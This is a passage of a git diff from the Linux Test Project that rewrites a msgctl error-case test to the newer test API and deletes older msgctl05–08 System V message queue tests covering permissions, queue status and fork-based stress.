+	{&bad_q, IPC_STAT, &q_buf, EINVAL},
+	/* EINVAL - the queue id is invalid - IPC_SET */
+	{&bad_q, IPC_SET, &q_buf, EINVAL},
+	/* EPERM - cannot delete root owned queue */
+	{&msg_id3, IPC_RMID, NULL, EPERM},
 };
 
-int main(int ac, char **av)
+static void verify_msgctl(unsigned int i)
 {
-	int lc;
-	int i;
+	TEST(msgctl(*(tc[i].msg_id), tc[i].cmd, tc[i].buf));
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/* loop through the test cases */
-
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			TEST(msgctl(*(TC[i].queue_id), TC[i].ipc_cmd,
-				    TC[i].buf));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "msgctl() call succeeded "
-					 "on expected fail");
-				continue;
-			}
-
-			if (TEST_ERRNO == TC[i].error) {
-				tst_resm(TPASS | TTERRNO, "expected failure");
-			} else {
-				tst_resm(TFAIL | TTERRNO, "unexpected error");
-				tst_resm(TINFO, "expected error is - %d : %s",
-					 TC[i].error, strerror(TC[i].error));
-			}
-		}
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "msgctl() returned %li", TST_RET);
+		return;
 	}
 
-	cleanup();
+	if (TST_ERR == tc[i].error) {
+		tst_res(TPASS | TTERRNO, "msgctl(%i, %i, %p)",
+			*tc[i].msg_id, tc[i].cmd, tc[i].buf);
+		return;
+	}
 
-	tst_exit();
+	tst_res(TFAIL | TTERRNO, "msgctl(%i, %i, %p) expected %s",
+		*tc[i].msg_id, tc[i].cmd, tc[i].buf, tst_strerrno(tc[i].error));
 }
 
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
+static void setup(void)
 {
-	key_t msgkey2;
+	key_t msgkey1, msgkey2;
+	struct passwd *ltpuser;
 
-	tst_require_root();
+	msg_id3 = SAFE_MSGGET(IPC_PRIVATE, IPC_CREAT | MSG_RW);
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	ltpuser = SAFE_GETPWNAM("nobody");
+	SAFE_SETEUID(ltpuser->pw_uid);
 
-	TEST_PAUSE;
+	msgkey1 = GETIPCKEY();
+	msgkey2 = GETIPCKEY();
 
-	/* Switch to nobody user for correct error code collection */
-	ltpuser = getpwnam(nobody_uid);
-	if (setuid(ltpuser->pw_uid) == -1)
-		tst_resm(TINFO, "setuid(%d) failed", ltpuser->pw_uid);
+	msg_id1 = SAFE_MSGGET(msgkey1, IPC_CREAT | IPC_EXCL);
+	msg_id2 = SAFE_MSGGET(msgkey2, IPC_CREAT | IPC_EXCL | MSG_RD | MSG_WR);
+}
 
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See ../lib/libipc.c for more information.
-	 */
-	tst_tmpdir();
+static void cleanup(void)
+{
+	if (msg_id1 >= 0)
+		SAFE_MSGCTL(msg_id1, IPC_RMID, NULL);
 
-	msgkey = getipckey();
+	if (msg_id2 >= 0)
+		SAFE_MSGCTL(msg_id2, IPC_RMID, NULL);
 
-	/* Get an new IPC resource key. */
-	msgkey2 = getipckey();
-
-	/* now we have a key, so let's create a message queue */
-	if ((msg_q_1 = msgget(msgkey, IPC_CREAT | IPC_EXCL)) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "Can't create message queue #1");
-	}
-
-	/* now let's create another message queue with read & write access */
-	if ((msg_q_2 =
-	     msgget(msgkey2, IPC_CREAT | IPC_EXCL | MSG_RD | MSG_WR)) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "Can't create message queue #2");
+	if (msg_id3 >= 0) {
+		SAFE_SETEUID(0);
+		SAFE_MSGCTL(msg_id3, IPC_RMID, NULL);
 	}
 }
 
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
-{
-	/*
-	 * remove the message queues that were created.
-	 */
-	rm_queue(msg_q_1);
-
-	rm_queue(msg_q_2);
-
-	tst_rmdir();
-
-}
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_msgctl,
+	.tcnt = ARRAY_SIZE(tc),
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl05.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl05.c
deleted file mode 100644
index 632ff8c..0000000
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl05.c
+++ /dev/null
@@ -1,186 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	msgctl05.c
- *
- * DESCRIPTION
- *	msgctl05 - test for EPERM error
- *
- * ALGORITHM
- *	create a message queue as root
- *	fork a child process and change its ID to nobody
- *	loop if that option was specified
- *	try to remove the queue in the child process with msgctl()
- *	check the errno value
- *	  issue a PASS message if we get EPERM
- *	otherwise, the tests fails
- *	  issue a FAIL message
- *	  break any remaining tests
- *	  call cleanup
- *
- * USAGE:  <for command-line>
- *  msgctl05 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	The test must be run as root.
- *	There must be a nobody ID installed on the system.
- */
-
-#include <string.h>
-#include <pwd.h>
-#include <sys/wait.h>
-
-#include "test.h"
-
-#include "ipcmsg.h"
-
-char *TCID = "msgctl05";
-int TST_TOTAL = 1;
-
-int msg_q_1 = -1;		/* The message queue id created in setup */
-uid_t ltp_uid;			/* The user ID for a non root user */
-char *ltp_user = "nobody";	/* A non root user */
-
-struct msqid_ds q_buf;
-
-int main(int ac, char **av)
-{
-	pid_t pid;
-	void do_child(void);
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	if ((pid = FORK_OR_VFORK()) == -1) {
-		tst_brkm(TBROK, cleanup, "could not fork");
-	}
-
-	if (pid == 0) {		/* child */
-		/* set the user ID of the child to nobody */
-		if (setuid(ltp_uid) == -1) {
-			tst_resm(TBROK, "setuid() failed");
-			exit(1);
-		}
-
-		do_child();
-	} else {		/* parent */
-		if (waitpid(pid, NULL, 0) == -1) {
-			tst_resm(TBROK | TERRNO, "waitpid() failed");
-		}
-
-		/* if it exists, remove the message queue */
-		rm_queue(msg_q_1);
-
-		tst_rmdir();
-	}
-
-	cleanup();
-	/**NOT REACHED**/
-	tst_exit();
-}
-
-/*
- * do_child - make the TEST call as the child process
- */
-void do_child(void)
-{
-	int lc;
-	int i;
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/* loop through the test cases */
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			TEST(msgctl(msg_q_1, IPC_RMID, NULL));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "msgget() call succeeded "
-					 "on expected fail");
-				continue;
-			}
-
-			switch (TEST_ERRNO) {
-			case EPERM:
-				tst_resm(TPASS, "expected error = %d : %s",
-					 TEST_ERRNO, strerror(TEST_ERRNO));
-				break;
-			default:
-				tst_resm(TFAIL, "call failed with unexpected "
-					 "error - %d : %s", TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-				break;
-			}
-		}
-	}
-}
-
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
-{
-	tst_require_root();
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See ../lib/libipc.c for more information.
-	 */
-	tst_tmpdir();
-
-	msgkey = getipckey();
-
-	/* now we have a key, so let's create a message queue */
-	if ((msg_q_1 = msgget(msgkey, IPC_CREAT | IPC_EXCL | MSG_RW)) == -1) {
-		tst_brkm(TBROK, cleanup, "Can't create message queue #1");
-	}
-
-	/* get the user ID for a non root user */
-	ltp_uid = getuserid(ltp_user);
-}
-
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
-{
-
-}
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl06.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl06.c
deleted file mode 100644
index 297b593..0000000
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl06.c
+++ /dev/null
@@ -1,142 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2002
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/* 06/30/2001	Port to Linux	nsharoff@us.ibm.com */
-/* 11/06/2002	Port to LTP	dbarrera@us.ibm.com */
-/* 12/03/2008   Fix concurrency issue     mfertre@irisa.fr */
-
-/*
- * NAME
- *	msgctl06
- *
- * CALLS
- *	msgget(2) msgctl(2)
- *
- * ALGORITHM
- *	Get and manipulate a message queue.
- *
- * RESTRICTIONS
- *
- */
-
-#include <sys/types.h>
-#include <sys/ipc.h>
-#include <sys/msg.h>
-#include <stdio.h>
-#include "test.h"
-#include "ipcmsg.h"
-
-void setup();
-void cleanup();
-
-char *TCID = "msgctl06";
-int TST_TOTAL = 1;
-
-/*
- * msgctl3_t -- union of msgctl(2)'s possible argument # 3 types.
- */
-typedef union msgctl3_u {
-	struct msqid_ds *msq_ds;	/* pointer to msqid_ds struct */
-	struct ipc_acl *msq_acl;	/* pointer ACL buff and size */
-} msgctl3_t;
-
-extern int local_flag;
-
-int msqid, status;
-struct msqid_ds buf;
-
-int main(int argc, char *argv[])
-{
-	key_t key;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	key = getipckey();
-	TEST(msgget(key, IPC_CREAT | IPC_EXCL));
-	msqid = TEST_RETURN;
-	if (TEST_RETURN == -1) {
-		tst_brkm(TFAIL | TTERRNO, NULL, "msgget() failed");
-	}
-
-	TEST(msgctl(msqid, IPC_STAT, &buf));
-	status = TEST_RETURN;
-	if (TEST_RETURN == -1) {
-		tst_resm(TFAIL | TTERRNO,
-			 "msgctl(msqid, IPC_STAT, &buf) failed");
-		(void)msgctl(msqid, IPC_RMID, NULL);
-		tst_exit();
-	}
-
-	/*
-	 * Check contents of msqid_ds structure.
-	 */
-
-	if (buf.msg_qnum != 0) {
-		tst_brkm(TFAIL, NULL, "error: unexpected nbr of messages %ld",
-			 buf.msg_qnum);
-	}
-	if (buf.msg_perm.uid != getuid()) {
-		tst_brkm(TFAIL, NULL, "error: unexpected uid %d",
-			 buf.msg_perm.uid);
-	}
-	if (buf.msg_perm.gid != getgid()) {
-		tst_brkm(TFAIL, NULL, "error: unexpected gid %d",
-			 buf.msg_perm.gid);
-	}
-	if (buf.msg_perm.cuid != getuid()) {
-		tst_brkm(TFAIL, NULL, "error: unexpected cuid %d",
-			 buf.msg_perm.cuid);
-	}
-	if (buf.msg_perm.cgid != getgid()) {
-		tst_brkm(TFAIL, NULL, "error: unexpected cgid %d",
-			 buf.msg_perm.cgid);
-	}
-
-	tst_resm(TPASS, "msgctl06 ran successfully!");
-
-	cleanup();
-	tst_exit();
-}
-
-void setup(void)
-{
-	tst_require_root();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-}
-
-void cleanup(void)
-{
-	int status;
-
-	(void)msgctl(msqid, IPC_RMID, NULL);
-	if ((status = msgctl(msqid, IPC_STAT, &buf)) != -1) {
-		(void)msgctl(msqid, IPC_RMID, NULL);
-		tst_resm(TFAIL, "msgctl(msqid, IPC_RMID) failed");
-
-	}
-
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl07.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl07.c
deleted file mode 100644
index b978692..0000000
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl07.c
+++ /dev/null
@@ -1,292 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2002
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/* 06/30/2001	Port to Linux	nsharoff@us.ibm.com */
-/* 11/06/2002   Port to LTP     dbarrera@us.ibm.com */
-/* 12/03/2008   Fix concurrency issue     mfertre@irisa.fr */
-
-/*
- * NAME
- *	msgctl07
- *
- * CALLS
- *	msgget(2) msgctl(2) msgop(2)
- *
- * ALGORITHM
- *	Get and manipulate a message queue.
- *
- * RESTRICTIONS
- *
- */
-
-#include <sys/types.h>
-#include <sys/ipc.h>
-#include <sys/msg.h>
-#include <signal.h>
-#include <sys/wait.h>
-#include <stdio.h>
-#include "test.h"
-#include "ipcmsg.h"
-#include <stdlib.h>
-#include <unistd.h>
-#include <errno.h>
-
-typedef void (*sighandler_t) (int);
-volatile int ready;
-
-#define BYTES 100
-#define SECS 10
-
-void setup();
-void cleanup();
-void do_child_1();
-void do_child_2();
-
-char *TCID = "msgctl07";
-int TST_TOTAL = 1;
-
-/* Used by main() and do_child_1(): */
-static int msqid;
-struct my_msgbuf {
-	long type;
-	char text[BYTES];
-} p1_msgp, p2_msgp, p3_msgp, c1_msgp, c2_msgp, c3_msgp;
-
-int main(int argc, char *argv[])
-{
-	key_t key;
-	int pid, status;
-	int i, j, k;
-	sighandler_t alrm();
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	key = getipckey();
-	if ((msqid = msgget(key, IPC_CREAT | IPC_EXCL)) == -1) {
-		tst_brkm(TFAIL | TERRNO, NULL, "msgget() failed");
-
-	}
-
-	pid = FORK_OR_VFORK();
-	if (pid < 0) {
-		(void)msgctl(msqid, IPC_RMID, NULL);
-		tst_brkm(TFAIL, NULL,
-			 "\tFork failed (may be OK if under stress)");
-	} else if (pid == 0) {
-		do_child_1();
-	} else {
-		struct sigaction act;
-
-		memset(&act, 0, sizeof(act));
-		act.sa_handler = (sighandler_t) alrm;
-		sigemptyset(&act.sa_mask);
-		sigaddset(&act.sa_mask, SIGALRM);
-		if ((sigaction(SIGALRM, &act, NULL)) < 0) {
-			tst_resm(TFAIL | TERRNO, "signal failed");
-			kill(pid, SIGKILL);
-			(void)msgctl(msqid, IPC_RMID, NULL);
-			tst_exit();
-		}
-		ready = 0;
-		alarm(SECS);
-		while (!ready)	/* make the child wait */
-			usleep(50000);
-		for (i = 0; i < BYTES; i++)
-			p1_msgp.text[i] = 'i';
-		p1_msgp.type = 1;
-		if (msgsnd(msqid, &p1_msgp, BYTES, 0) == -1) {
-			tst_resm(TFAIL | TERRNO, "msgsnd() failed");
-			kill(pid, SIGKILL);
-			(void)msgctl(msqid, IPC_RMID, NULL);
-			tst_exit();
-		}
-		wait(&status);
-	}
-	if ((status >> 8) == 1) {
-		tst_brkm(TFAIL, NULL, "test failed. status = %d",
-			 (status >> 8));
-	}
-
-	pid = FORK_OR_VFORK();
-	if (pid < 0) {
-		(void)msgctl(msqid, IPC_RMID, NULL);
-		tst_brkm(TFAIL, NULL,
-			 "\tFork failed (may be OK if under stress)");
-	} else if (pid == 0) {
-		do_child_2();
-	} else {
-		struct sigaction act;
-
-		memset(&act, 0, sizeof(act));
-		act.sa_handler = (sighandler_t) alrm;
-		sigemptyset(&act.sa_mask);
-		sigaddset(&act.sa_mask, SIGALRM);
-		if ((sigaction(SIGALRM, &act, NULL)) < 0) {
-			tst_resm(TFAIL | TERRNO, "signal failed");
-			kill(pid, SIGKILL);
-			(void)msgctl(msqid, IPC_RMID, NULL);
-			tst_exit();
-		}
-		ready = 0;
-		alarm(SECS);
-		while (!ready)	/* make the child wait */
-			usleep(50000);
-		for (i = 0; i < BYTES; i++)
-			p1_msgp.text[i] = 'i';
-		p1_msgp.type = 1;
-		if (msgsnd(msqid, &p1_msgp, BYTES, 0) == -1) {
-			tst_resm(TFAIL | TERRNO, "msgsnd() failed");
-			kill(pid, SIGKILL);
-			(void)msgctl(msqid, IPC_RMID, NULL);
-			tst_exit();
-		}
-		for (j = 0; j < BYTES; j++)
-			p2_msgp.text[j] = 'j';
-		p2_msgp.type = 2;
-		if (msgsnd(msqid, &p2_msgp, BYTES, 0) == -1) {
-			tst_resm(TFAIL | TERRNO, "msgsnd() failed");
-			kill(pid, SIGKILL);
-			(void)msgctl(msqid, IPC_RMID, NULL);
-			tst_exit();
-		}
-		for (k = 0; k < BYTES; k++)
-			p3_msgp.text[k] = 'k';
-		p3_msgp.type = 3;
-		if (msgsnd(msqid, &p3_msgp, BYTES, 0) == -1) {
-			tst_resm(TFAIL | TERRNO, "msgsnd() failed");
-			kill(pid, SIGKILL);
-			(void)msgctl(msqid, IPC_RMID, NULL);
-			tst_exit();
-		}
-		wait(&status);
-	}
-	if ((status >> 8) == 1) {
-		tst_brkm(TFAIL, NULL, "test failed. status = %d",
-			 (status >> 8));
-	}
-	/*
-	 * Remove the message queue from the system
-	 */
-#ifdef DEBUG
-	tst_resm(TINFO, "Removing the message queue");
-#endif
-	fflush(stdout);
-	(void)msgctl(msqid, IPC_RMID, NULL);
-	if ((status = msgctl(msqid, IPC_STAT, NULL)) != -1) {
-		(void)msgctl(msqid, IPC_RMID, NULL);
-		tst_brkm(TFAIL, NULL, "msgctl(msqid, IPC_RMID) failed");
-
-	}
-
-	fflush(stdout);
-	tst_resm(TPASS, "msgctl07 ran successfully!");
-
-	cleanup();
-
-	tst_exit();
-}
-
-sighandler_t alrm(int sig LTP_ATTRIBUTE_UNUSED)
-{
-	ready++;
-	return 0;
-}
-
-void do_child_1(void)
-{
-	int i;
-	int size;
-
-	if ((size = msgrcv(msqid, &c1_msgp, BYTES, 0, 0)) == -1) {
-		tst_brkm(TFAIL | TERRNO, NULL, "msgrcv() failed");
-	}
-	if (size != BYTES) {
-		tst_brkm(TFAIL, NULL, "error: received %d bytes expected %d",
-			 size,
-			 BYTES);
-	}
-	for (i = 0; i < BYTES; i++)
-		if (c1_msgp.text[i] != 'i') {
-			tst_brkm(TFAIL, NULL, "error: corrup message");
-		}
-	exit(0);
-}
-
-void do_child_2(void)
-{
-	int i, j, k;
-	int size;
-
-	if ((size = msgrcv(msqid, &c3_msgp, BYTES, 3, 0)) == -1) {
-		tst_brkm(TFAIL | TERRNO, NULL, "msgrcv() failed");
-	}
-	if (size != BYTES) {
-		tst_brkm(TFAIL, NULL, "error: received %d bytes expected %d",
-			 size,
-			 BYTES);
-	}
-	for (k = 0; k < BYTES; k++)
-		if (c3_msgp.text[k] != 'k') {
-			tst_brkm(TFAIL, NULL, "error: corrupt message");
-		}
-	if ((size = msgrcv(msqid, &c2_msgp, BYTES, 2, 0)) == -1) {
-		tst_brkm(TFAIL | TERRNO, NULL, "msgrcv() failed");
-	}
-	if (size != BYTES) {
-		tst_brkm(TFAIL, NULL, "error: received %d bytes expected %d",
-			 size,
-			 BYTES);
-	}
-	for (j = 0; j < BYTES; j++)
-		if (c2_msgp.text[j] != 'j') {
-			tst_brkm(TFAIL, NULL, "error: corrupt message");
-		}
-	if ((size = msgrcv(msqid, &c1_msgp, BYTES, 1, 0)) == -1) {
-		tst_brkm(TFAIL | TERRNO, NULL, "msgrcv() failed");
-	}
-	if (size != BYTES) {
-		tst_brkm(TFAIL, NULL, "error: received %d bytes expected %d",
-			 size,
-			 BYTES);
-	}
-	for (i = 0; i < BYTES; i++)
-		if (c1_msgp.text[i] != 'i') {
-			tst_brkm(TFAIL, NULL, "error: corrupt message");
-		}
-
-	exit(0);
-}
-
-void setup(void)
-{
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	tst_require_root();
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-}
-
-void cleanup(void)
-{
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl08.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl08.c
deleted file mode 100644
index 7bcec50..0000000
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl08.c
+++ /dev/null
@@ -1,301 +0,0 @@
-/*
- * Copyright (c) International Business Machines  Corp., 2002
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
- * 06/30/2001   Port to Linux   nsharoff@us.ibm.com
- * 11/06/2002   Port to LTP     dbarrera@us.ibm.com
- */
-
-/*
- * Get and manipulate a message queue.
- */
-
-#define _XOPEN_SOURCE 500
-#include <signal.h>
-#include <errno.h>
-#include <string.h>
-#include <fcntl.h>
-#include <stdlib.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <values.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <sys/stat.h>
-#include <sys/ipc.h>
-#include <sys/msg.h>
-#include "test.h"
-#include "ipcmsg.h"
-#include "../lib/libmsgctl.h"
-
-char *TCID = "msgctl08";
-int TST_TOTAL = 1;
-
-#ifndef CONFIG_COLDFIRE
-#define MAXNPROCS	1000000	/* This value is set to an arbitrary high limit. */
-#else
-#define MAXNPROCS	 100000	/* Coldfire can't deal with 1000000 */
-#endif
-#define MAXNREPS	100000
-
-static key_t keyarray[MAXNPROCS];
-static int pidarray[MAXNPROCS];
-static int tid;
-static int MSGMNI, nprocs, nreps;
-static int procstat;
-static int mykid;
-
-void setup(void);
-void cleanup(void);
-
-static int dotest(key_t key, int child_process);
-static void sig_handler();
-
-static char *opt_nprocs;
-static char *opt_nreps;
-
-static option_t options[] = {
-	{"n:", NULL, &opt_nprocs},
-	{"l:", NULL, &opt_nreps},
-	{NULL, NULL, NULL},
-};
-
-static void usage(void)
-{
-	printf("  -n      Number of processes\n");
-	printf("  -l      Number of iterations\n");
-}
-
-int main(int argc, char **argv)
-{
-	int i, j, ok, pid;
-	int count, status;
-	struct sigaction act;
-
-	tst_parse_opts(argc, argv, options, usage);
-
-	setup();
-
-	nreps = MAXNREPS;
-	nprocs = MSGMNI;
-
-	if (opt_nreps) {
-		nreps = atoi(opt_nreps);
-		if (nreps > MAXNREPS) {
-			tst_resm(TINFO,
-				 "Requested number of iterations too large, "
-				 "setting to Max. of %d", MAXNREPS);
-			nreps = MAXNREPS;
-		}
-	}
-
-	if (opt_nprocs) {
-		nprocs = atoi(opt_nprocs);
-		if (nprocs > MSGMNI) {
-			tst_resm(TINFO,
-				 "Requested number of processes too large, "
-				 "setting to Max. of %d", MSGMNI);
-			nprocs = MSGMNI;
-		}
-	}
-
-	srand(getpid());
-	tid = -1;
-
-	/* Setup signal handling routine */
-	memset(&act, 0, sizeof(act));
-	act.sa_handler = sig_handler;
-	sigemptyset(&act.sa_mask);
-	sigaddset(&act.sa_mask, SIGTERM);
-	if (sigaction(SIGTERM, &act, NULL) < 0) {
-		tst_brkm(TFAIL, NULL, "Sigset SIGTERM failed");
-	}
-	/* Set up array of unique keys for use in allocating message
-	 * queues
-	 */
-	for (i = 0; i < nprocs; i++) {
-		ok = 1;
-		do {
-			/* Get random key */
-			keyarray[i] = (key_t) rand();
-			/* Make sure key is unique and not private */
-			if (keyarray[i] == IPC_PRIVATE) {
-				ok = 0;
-				continue;
-			}
-			for (j = 0; j < i; j++) {
-				if (keyarray[j] == keyarray[i]) {
-					ok = 0;
-					break;
-				}
-				ok = 1;
-			}
-		} while (ok == 0);
-	}
-
-	/* Fork a number of processes, each of which will
-	 * create a message queue with one reader/writer
-	 * pair which will read and write a number (iterations)
-	 * of random length messages with specific values.
-	 */
-
-	for (i = 0; i < nprocs; i++) {
-		fflush(stdout);
-		if ((pid = FORK_OR_VFORK()) < 0) {
-			tst_brkm(TFAIL,
-				 NULL,
-				 "\tFork failed (may be OK if under stress)");
-		}
-		/* Child does this */
-		if (pid == 0) {
-			procstat = 1;
-			exit(dotest(keyarray[i], i));
-		}
-		pidarray[i] = pid;
-	}
-
-	count = 0;
-	while (1) {
-		if ((wait(&status)) > 0) {
-			if (status >> 8 != 0) {
-				tst_brkm(TFAIL, NULL,
-					 "Child exit status = %d",
-					 status >> 8);
-			}
-			count++;
-		} else {
-			if (errno != EINTR) {
-				break;
-			}
-#ifdef DEBUG
-			tst_resm(TINFO, "Signal detected during wait");
-#endif
-		}
-	}
-	/* Make sure proper number of children exited */
-	if (count != nprocs) {
-		tst_brkm(TFAIL,
-			 NULL,
-			 "Wrong number of children exited, Saw %d, Expected %d",
-			 count, nprocs);
-	}
-
-	tst_resm(TPASS, "msgctl08 ran successfully!");
-
-	cleanup();
-	tst_exit();
-}
-
-static int dotest(key_t key, int child_process)
-{
-	int id, pid;
-	int ret, status;
-
-	sighold(SIGTERM);
-	TEST(msgget(key, IPC_CREAT | S_IRUSR | S_IWUSR));
-	if (TEST_RETURN < 0) {
-		printf("msgget() error in child %d: %s\n",
-			child_process, strerror(TEST_ERRNO));
-
-		return FAIL;
-	}
-	tid = id = TEST_RETURN;
-	sigrelse(SIGTERM);
-
-	fflush(stdout);
-	if ((pid = FORK_OR_VFORK()) < 0) {
-		printf("\tFork failed (may be OK if under stress)\n");
-		TEST(msgctl(tid, IPC_RMID, 0));
-		if (TEST_RETURN < 0) {
-			printf("mscgtl() error in cleanup: %s\n",
-				strerror(TEST_ERRNO));
-		}
-		return FAIL;
-	}
-	/* Child does this */
-	if (pid == 0)
-		exit(doreader(key, id, 1, child_process, nreps));
-	/* Parent does this */
-	mykid = pid;
-	procstat = 2;
-	ret = dowriter(key, id, 1, child_process, nreps);
-	wait(&status);
-
-	if (ret != PASS)
-		exit(FAIL);
-
-	if ((!WIFEXITED(status) || (WEXITSTATUS(status) != PASS)))
-		exit(FAIL);
-
-	TEST(msgctl(id, IPC_RMID, 0));
-	if (TEST_RETURN < 0) {
-		printf("msgctl() errno %d: %s\n",
-			TEST_ERRNO, strerror(TEST_ERRNO));
-
-		return FAIL;
-	}
-	return PASS;
-}
-
-static void sig_handler(void)
-{
-}
-
-void setup(void)
-{
-	int nr_msgqs;
-
-	tst_tmpdir();
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	nr_msgqs = get_max_msgqueues();
-	if (nr_msgqs < 0)
-		cleanup();
-
-	nr_msgqs -= get_used_msgqueues();
-	if (nr_msgqs <= 0) {
-		tst_resm(TBROK,
-			 "Max number of message queues already used, cannot create more.");
-		cleanup();
-	}
-
-	/*
-	 * Since msgmni scales to the memory size, it may reach huge values
-	 * that are not necessary for this test.
-	 * That's why we define NR_MSGQUEUES as a high boundary for it.
-	 */
-	MSGMNI = min(nr_msgqs, NR_MSGQUEUES);
-}
-
-void cleanup(void)
-{
-	int status;
-
-#ifdef DEBUG
-	tst_resm(TINFO, "Removing the message queue");
-#endif
-	(void)msgctl(tid, IPC_RMID, NULL);
-	if ((status = msgctl(tid, IPC_STAT, NULL)) != -1) {
-		(void)msgctl(tid, IPC_RMID, NULL);
-		tst_resm(TFAIL, "msgctl(tid, IPC_RMID) failed");
-
-	}
-
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl09.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl09.c
deleted file mode 100644
index 3d6a6e1..0000000
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl09.c
+++ /dev/null
@@ -1,408 +0,0 @@
-/*
- * Copyright (c) International Business Machines  Corp., 2002
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
